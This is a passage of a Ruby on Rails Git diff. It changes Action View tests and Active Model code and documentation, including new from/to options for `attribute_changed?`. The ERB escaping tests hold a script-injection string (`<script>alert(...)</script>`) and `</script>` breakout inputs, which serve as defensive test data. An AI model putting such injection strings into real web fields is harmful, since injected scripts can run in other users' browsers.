--- a/actionview/test/actionpack/controller/render_test.rb
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -44,8 +44,6 @@ module Quiz
end
end
- class Store < Question; end
-
# Controller
class QuestionsController < ApplicationController
def new
@@ -693,9 +691,9 @@ class RenderTest < ActionController::TestCase
end
def test_line_offset
- get :render_line_offset
- flunk "the action should have raised an exception"
- rescue StandardError => exc
+ exc = assert_raises ActionView::Template::Error do
+ get :render_line_offset
+ end
line = exc.backtrace.first
assert(line =~ %r{:(\d+):})
assert_equal "1", $1,
@@ -971,7 +969,7 @@ class RenderTest < ActionController::TestCase
end
def test_should_implicitly_render_js_template_without_layout
- get :render_implicit_js_template_without_layout, :format => :js
+ xhr :get, :render_implicit_js_template_without_layout, :format => :js
assert_no_match %r{<html>}, @response.body
end
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
index 2e302c65a7..0a9628da8d 100644
--- a/actionview/test/activerecord/form_helper_activerecord_test.rb
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -59,7 +59,7 @@ class FormHelperActiveRecordTest < ActionView::TestCase
protected
def hidden_fields(method = nil)
- txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt = %{<div style="display:none">}
txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
index 4941463015..8b3f0a8039 100644
--- a/actionview/test/fixtures/developer.rb
+++ b/actionview/test/fixtures/developer.rb
@@ -4,7 +4,3 @@ class Developer < ActiveRecord::Base
has_many :topics, :through => :replies
accepts_nested_attributes_for :projects
end
-
-class DeVeLoPeR < ActiveRecord::Base
- self.table_name = "developers"
-end
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
index 214a13654e..3ca71d3376 100644
--- a/actionview/test/template/asset_tag_helper_test.rb
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -2,14 +2,6 @@ require 'zlib'
require 'abstract_unit'
require 'active_support/ordered_options'
-class FakeController
- attr_accessor :request
-
- def config
- @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
- end
-end
-
class AssetTagHelperTest < ActionView::TestCase
tests ActionView::Helpers::AssetTagHelper
@@ -245,7 +237,7 @@ class AssetTagHelperTest < ActionView::TestCase
%(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
%(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
%(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
- %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
%(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
%(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
%(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
index 9a7c617eb3..9bacbba908 100644
--- a/actionview/test/template/erb_util_test.rb
+++ b/actionview/test/template/erb_util_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/json'
class ErbUtilTest < ActiveSupport::TestCase
include ERB::Util
@@ -15,6 +16,51 @@ class ErbUtilTest < ActiveSupport::TestCase
end
end
+ HTML_ESCAPE_TEST_CASES = [
+ ['<br>', '&lt;br&gt;'],
+ ['a & b', 'a &amp; b'],
+ ['"quoted" string', '&quot;quoted&quot; string'],
+ ["'quoted' string", '&#39;quoted&#39; string'],
+ [
+ '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+ '&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;'
+ ]
+ ]
+
+ JSON_ESCAPE_TEST_CASES = [
+ ['1', '1'],
+ ['null', 'null'],
+ ['"&"', '"\u0026"'],
+ ['"</script>"', '"\u003c/script\u003e"'],
+ ['["</script>"]', '["\u003c/script\u003e"]'],
+ ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+ [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+ ]
+
+ def test_html_escape
+ HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, html_escape(raw)
+ end
+ end
+
+ def test_json_escape
+ JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, json_escape(raw)
+ end
+ end
+
+ def test_json_escape_does_not_alter_json_string_meaning
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+ end
+ end
+
+ def test_json_escape_is_idempotent
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal json_escape(raw), json_escape(json_escape(raw))
+ end
+ end
+
def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
value = json_escape("asdf")
assert !value.html_safe?
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
index d28e4aeb48..7a62b9d907 100644
--- a/actionview/test/template/form_collections_helper_test.rb
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -60,7 +60,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=radio][value=other][disabled=disabled]'
end
- test 'collection radio accepts single disable item' do
+ test 'collection radio accepts single disabled item' do
collection = [[1, true], [0, false]]
with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
@@ -84,6 +84,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=radio][value=false].bar#user_active_false'
end
+ test 'collection radio sets the label class defined inside the block' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+ b.label(class: "collection_radio_buttons")
+ end
+
+ assert_select 'label.collection_radio_buttons[for=user_active_true]'
+ assert_select 'label.collection_radio_buttons[for=user_active_false]'
+ end
+
+ test 'collection radio does not include the input class in the respective label' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_true]'
+ assert_no_select 'label.bar[for=user_active_false]'
+ end
+
test 'collection radio does not wrap input inside the label' do
with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
@@ -215,6 +233,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=checkbox][value=2].bar'
end
+ test 'collection check boxes sets the label class defined inside the block' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+ b.label(class: 'collection_check_boxes')
+ end
+
+ assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+ assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+ end
+
+ test 'collection check boxes does not include the input class in the respective label' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_category_1]'
+ assert_no_select 'label.bar[for=user_active_category_2]'
+ end
+
test 'collection check boxes accepts selected values as :checked option' do
collection = (1..3).map{|i| [i, "Category #{i}"] }
with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
@@ -264,7 +300,7 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
end
- test 'collection check boxes accepts single disable item' do
+ test 'collection check boxes accepts single disabled item' do
collection = (1..3).map{|i| [i, "Category #{i}"] }
with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
index 3e8a2468ed..fe82349265 100644
--- a/actionview/test/template/form_helper_test.rb
+++ b/actionview/test/template/form_helper_test.rb
@@ -1300,6 +1300,24 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_index_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+ "<label for='post_1_active_true'>true</label>" +
+ "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+ "<label for='post_1_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_collection_check_boxes
post = Post.new
def post.tag_ids; [1, 3]; end
@@ -1397,6 +1415,24 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_index_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_file_field_generate_multipart
Post.send :attr_accessor, :file
@@ -2987,7 +3023,7 @@ class FormHelperTest < ActionView::TestCase
protected
def hidden_fields(method = nil)
- txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt = %{<div style="display:none">}
txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
index 22bf438a56..0d5831dc6f 100644
--- a/actionview/test/template/form_tag_helper_test.rb
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -14,7 +14,7 @@ class FormTagHelperTest < ActionView::TestCase
method = options[:method]
enforce_utf8 = options.fetch(:enforce_utf8, true)
- txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt = %{<div style="display:none">}
txt << %{<input name="utf8" type="hidden" value="&#x2713;" />} if enforce_utf8
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
index 203ad6d910..ce9485e146 100644
--- a/actionview/test/template/lookup_context_test.rb
+++ b/actionview/test/template/lookup_context_test.rb
@@ -36,6 +36,11 @@ class LookupContextTest < ActiveSupport::TestCase
assert @lookup_context.formats.frozen?
end
+ test "provides getters and setters for variants" do
+ @lookup_context.variants = [:mobile]
+ assert_equal [:mobile], @lookup_context.variants
+ end
+
test "provides getters and setters for formats" do
@lookup_context.formats = [:html]
assert_equal [:html], @lookup_context.formats
@@ -249,15 +254,15 @@ class TestMissingTemplate < ActiveSupport::TestCase
e = assert_raise ActionView::MissingTemplate do
@lookup_context.find("foo", %w(parent child), true)
end
- assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
e = assert_raise ActionView::MissingTemplate do
- details = {:handlers=>[], :formats=>[], :locale=>[]}
+ details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
@lookup_context.view_paths.find("foo", "parent", true, details)
end
- assert_match %r{Missing partial parent/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
index 6e640889d2..be336ea3fb 100644
--- a/actionview/test/template/number_helper_test.rb
+++ b/actionview/test/template/number_helper_test.rb
@@ -14,7 +14,8 @@ class NumberHelperTest < ActionView::TestCase
assert_equal nil, number_to_currency(nil)
assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
- assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u")
+ assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+ assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
end
def test_number_to_percentage
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
index 5a7d11f513..055a273cc3 100644
--- a/actionview/test/template/render_test.rb
+++ b/actionview/test/template/render_test.rb
@@ -63,7 +63,7 @@ module RenderTestCases
def test_render_template_with_a_missing_partial_of_another_format
@view.lookup_context.formats = [:html]
- assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+ assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
@view.render(:template => "with_format", :formats => [:json])
end
end
@@ -444,7 +444,7 @@ module RenderTestCases
def test_render_partial_with_layout_raises_descriptive_error
e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
- assert_match "Missing partial /true with", e.message
+ assert_match "Missing partial /_true with", e.message
end
def test_render_with_nested_layout
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
index 9649f349cb..d6cfa997cd 100644
--- a/actionview/test/template/testing/fixture_resolver_test.rb
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -3,13 +3,13 @@ require 'abstract_unit'
class FixtureResolverTest < ActiveSupport::TestCase
def test_should_return_empty_list_for_unknown_path
resolver = ActionView::FixtureResolver.new()
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
assert_equal [], templates, "expected an empty list of templates"
end
def test_should_return_template_for_declared_path
resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
assert_equal 1, templates.size, "expected one template"
assert_equal "this text", templates.first.source
assert_equal "arbitrary/path", templates.first.virtual_path
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
index dd1a92acfb..a514bba83d 100644
--- a/actionview/test/template/text_helper_test.rb
+++ b/actionview/test/template/text_helper_test.rb
@@ -21,6 +21,11 @@ class TextHelperTest < ActionView::TestCase
assert simple_format("<b> test with html tags </b>").html_safe?
end
+ def test_simple_format_included_in_isolation
+ helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+ assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+ end
+
def test_simple_format
assert_equal "<p></p>", simple_format(nil)
@@ -381,6 +386,13 @@ class TextHelperTest < ActionView::TestCase
assert_equal("3", cycle("one", 2, "3"))
end
+ def test_cycle_with_array
+ array = [1, 2, 3]
+ assert_equal("1", cycle(array))
+ assert_equal("2", cycle(array))
+ assert_equal("3", cycle(array))
+ end
+
def test_cycle_with_no_arguments
assert_raise(ArgumentError) { cycle }
end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
index d496dbb35e..269714fad0 100644
--- a/actionview/test/template/translation_helper_test.rb
+++ b/actionview/test/template/translation_helper_test.rb
@@ -31,7 +31,7 @@ class TranslationHelperTest < ActiveSupport::TestCase
end
def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
- I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
+ I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
translate :foo, :locale => 'en'
end
@@ -53,6 +53,12 @@ class TranslationHelperTest < ActiveSupport::TestCase
assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
end
+ def test_raises_missing_translation_message_with_raise_option
+ assert_raise(I18n::MissingTranslationData) do
+ translate(:"translations.missing", :raise => true)
+ end
+ end
+
def test_i18n_translate_defaults_to_nil_rescue_format
expected = 'translation missing: en.translations.missing'
assert_equal expected, I18n.translate(:"translations.missing")
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index 77d1252f1f..09fdd84844 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,3 +1,9 @@
+* `attribute_changed?` now accepts parameters which check the old and new value of the attribute
+
+ `model.name_changed?(from: "Pete", to: "Ringo")`
+
+ *Tejas Dinkar*
+
* Fix `has_secure_password` to honor bcrypt-ruby's cost attribute.
*T.J. Schuck*
@@ -13,8 +19,8 @@
*Bogdan Gusiev*
-* Fix has_secure_password. `password_confirmation` validations are triggered
- even if no `password_confirmation` is set.
+* Fix `has_secure_password` not to trigger `password_confirmation` validations
+ if no `password_confirmation` is set.
*Vladimir Kiselev*
@@ -27,7 +33,7 @@
*Charles Bergeron*
-* Fix regression in has_secure_password. When a password is set, but a
+* Fix regression in `has_secure_password`. When a password is set, but a
confirmation is an empty string, it would incorrectly save.
*Steve Klabnik* and *Phillip Calvin*
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index a399fe9051..4c00755532 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -109,7 +109,7 @@ behavior out of the box:
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name.nil?
+ errors.add(:name, "cannot be nil") if name.nil?
end
def self.human_attribute_name(attr, options = {})
@@ -118,7 +118,7 @@ behavior out of the box:
end
person.errors.full_messages
- # => ["Name can not be nil"]
+ # => ["Name cannot be nil"]
{Learn more}[link:classes/ActiveModel/Errors.html]
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 11e755649c..36e565f692 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -20,5 +20,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
- s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'builder', '~> 3.1'
end
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index ef4f2514be..469f137d03 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index f336c759d2..ea07c5c039 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -14,11 +14,11 @@ module ActiveModel
class MissingAttributeError < NoMethodError
end
- # == Active \Model Attribute Methods
+ # == Active \Model \Attribute \Methods
#
- # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
- # suffixes to your methods as well as handling the creation of
- # <tt>ActiveRecord::Base</tt>-like class methods such as +table_name+.
+ # Provides a way to add prefixes and suffixes to your methods as
+ # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+ # class methods such as +table_name+.
#
# The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
#
@@ -27,7 +27,9 @@ module ActiveModel
# or +attribute_method_prefix+.
# * Call +define_attribute_methods+ after the other methods are called.
# * Define the various generic +_attribute+ methods that you have declared.
- # * Define an +attributes+ method, see below.
+ # * Define an +attributes+ method which returns a hash with each
+ # attribute name in your model as hash key and the attribute value as hash value.
+ # Hash keys must be strings.
#
# A minimal implementation could be:
#
@@ -42,7 +44,7 @@ module ActiveModel
# attr_accessor :name
#
# def attributes
- # {'name' => @name}
+ # { 'name' => @name }
# end
#
# private
@@ -59,13 +61,6 @@ module ActiveModel
# send("#{attr}=", 'Default Name')
# end
# end
- #
- # Note that whenever you include <tt>ActiveModel::AttributeMethods</tt> in
- # your class, it requires you to implement an +attributes+ method which
- # returns a hash with each attribute name in your model as hash key and the
- # attribute value as hash value.
- #
- # Hash keys must be strings.
module AttributeMethods
extend ActiveSupport::Concern
@@ -173,14 +168,14 @@ module ActiveModel
# private
#
# def reset_attribute_to_default!(attr)
- # ...
+ # send("#{attr}=", 'Default Name')
# end
# end
#
# person = Person.new
# person.name # => 'Gem'
# person.reset_name_to_default!
- # person.name # => 'Gemma'
+ # person.name # => 'Default Name'
def attribute_method_affix(*affixes)
self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
undefine_attribute_methods
@@ -250,7 +245,7 @@ module ActiveModel
# private
#
# def clear_attribute(attr)
- # ...
+ # send("#{attr}=", nil)
# end
# end
def define_attribute_methods(*attr_names)
@@ -349,7 +344,7 @@ module ActiveModel
# invoked often in a typical rails, both of which invoke the method
# +match_attribute_method?+. The latter method iterates through an
# array doing regular expression matches, which results in a lot of
- # object creations. Most of the times it returns a +nil+ match. As the
+ # object creations. Most of the time it returns a +nil+ match. As the
# match result is always the same given a +method_name+, this cache is
# used to alleviate the GC, which ultimately also speeds up the app
# significantly (in our case our test suite finishes 10% faster with
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index 377aa6ee27..b27a39b787 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -30,7 +30,7 @@ module ActiveModel
# end
#
# Then in your class, you can use the +before_create+, +after_create+ and
- # +around_create+ methods, just as you would in an Active Record module.
+ # +around_create+ methods, just as you would in an Active Record model.
#
# before_create :action_before_create
#
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 21e4eb3c86..6b0a752566 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,5 @@
module ActiveModel
- # == Active \Model Conversion
+ # == Active \Model \Conversion
#
# Handles default conversions: to_model, to_key, to_param, and to_partial_path.
#
@@ -41,7 +41,7 @@ module ActiveModel
end
# Returns an Enumerable of all key attributes if any is set, regardless if
- # the object is persisted or not. If there no key attributes, returns +nil+.
+ # the object is persisted or not. Returns +nil+ if there are no key attributes.
#
# class Person < ActiveRecord::Base
# end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index c5f1b3f11a..58d87e6f7f 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -54,6 +54,7 @@ module ActiveModel
# person.name = 'Bob'
# person.changed? # => true
# person.name_changed? # => true
+ # person.name_changed?(from: "Uncle Bob", to: "Bob") # => true
# person.name_was # => "Uncle Bob"
# person.name_change # => ["Uncle Bob", "Bob"]
# person.name = 'Bill'
@@ -149,12 +150,15 @@ module ActiveModel
end
# Handle <tt>*_changed?</tt> for +method_missing+.
- def attribute_changed?(attr)
- changed_attributes.include?(attr)
+ def attribute_changed?(attr, options = {}) #:nodoc:
+ result = changed_attributes.include?(attr)
+ result &&= options[:to] == __send__(attr) if options.key?(:to)
+ result &&= options[:from] == changed_attributes[attr] if options.key?(:from)
+ result
end
# Handle <tt>*_was</tt> for +method_missing+.
- def attribute_was(attr)
+ def attribute_was(attr) # :nodoc:
attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index cf7551e4f4..010c4bb6f9 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -7,7 +7,7 @@ module ActiveModel
# == Active \Model \Errors
#
# Provides a modified +Hash+ that you can include in your object
- # for handling error messages and interacting with Action Pack helpers.
+ # for handling error messages and interacting with Action View helpers.
#
# A minimal implementation could be:
#
@@ -23,7 +23,7 @@ module ActiveModel
# attr_reader :errors
#
# def validate!
- # errors.add(:name, "can not be nil") if name == nil
+ # errors.add(:name, "cannot be nil") if name == nil
# end
#
# # The following methods are needed to be minimally implemented
@@ -51,8 +51,8 @@ module ActiveModel
# The above allows you to do:
#
# person = Person.new
- # person.validate! # => ["can not be nil"]
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.validate! # => ["cannot be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# # etc..
class Errors
include Enumerable
@@ -80,7 +80,7 @@ module ActiveModel
# Clear the error messages.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.clear
# person.errors.full_messages # => []
def clear
@@ -90,7 +90,7 @@ module ActiveModel
# Returns +true+ if the error messages include an error for the given key
# +attribute+, +false+ otherwise.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
+ # person.errors.messages # => {:name=>["cannot be nil"]}
# person.errors.include?(:name) # => true
# person.errors.include?(:age) # => false
def include?(attribute)
@@ -101,8 +101,8 @@ module ActiveModel
# Get messages for +key+.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.messages # => {:name=>["cannot be nil"]}
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.get(:age) # => nil
def get(key)
messages[key]
@@ -110,7 +110,7 @@ module ActiveModel
# Set messages for +key+ to +value+.
#
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.set(:name, ["can't be nil"])
# person.errors.get(:name) # => ["can't be nil"]
def set(key, value)
@@ -119,8 +119,8 @@ module ActiveModel
# Delete messages for +key+. Returns the deleted messages.
#
- # person.errors.get(:name) # => ["can not be nil"]
- # person.errors.delete(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
+ # person.errors.delete(:name) # => ["cannot be nil"]
# person.errors.get(:name) # => nil
def delete(key)
messages.delete(key)
@@ -129,8 +129,8 @@ module ActiveModel
# When passed a symbol or a name of a method, returns an array of errors
# for the method.
#
- # person.errors[:name] # => ["can not be nil"]
- # person.errors['name'] # => ["can not be nil"]
+ # person.errors[:name] # => ["cannot be nil"]
+ # person.errors['name'] # => ["cannot be nil"]
def [](attribute)
get(attribute.to_sym) || set(attribute.to_sym, [])
end
@@ -175,15 +175,15 @@ module ActiveModel
# Returns all message values.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
- # person.errors.values # => [["can not be nil", "must be specified"]]
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+ # person.errors.values # => [["cannot be nil", "must be specified"]]
def values
messages.values
end
# Returns all message keys.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
# person.errors.keys # => [:name]
def keys
messages.keys
@@ -211,7 +211,7 @@ module ActiveModel
# Returns +true+ if no errors are found, +false+ otherwise.
# If the error message is a string it can be empty.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.empty? # => false
def empty?
all? { |k, v| v && v.empty? && !v.is_a?(String) }
@@ -238,8 +238,8 @@ module ActiveModel
# object. You can pass the <tt>:full_messages</tt> option. This determines
# if the json object should contain full messages or not (false by default).
#
- # person.errors.as_json # => {:name=>["can not be nil"]}
- # person.errors.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+ # person.errors.as_json # => {:name=>["cannot be nil"]}
+ # person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
def as_json(options=nil)
to_hash(options && options[:full_messages])
end
@@ -247,8 +247,8 @@ module ActiveModel
# Returns a Hash of attributes with their error messages. If +full_messages+
# is +true+, it will contain full messages (see +full_message+).
#
- # person.errors.to_hash # => {:name=>["can not be nil"]}
- # person.errors.to_hash(true) # => {:name=>["name can not be nil"]}
+ # person.errors.to_hash # => {:name=>["cannot be nil"]}
+ # person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
def to_hash(full_messages = false)
if full_messages
messages = {}
@@ -279,7 +279,7 @@ module ActiveModel
# If +message+ is a proc, it will be called, allowing for things like
# <tt>Time.now</tt> to be used within an error.
#
- # If the <tt>:strict</tt> option is set to true will raise
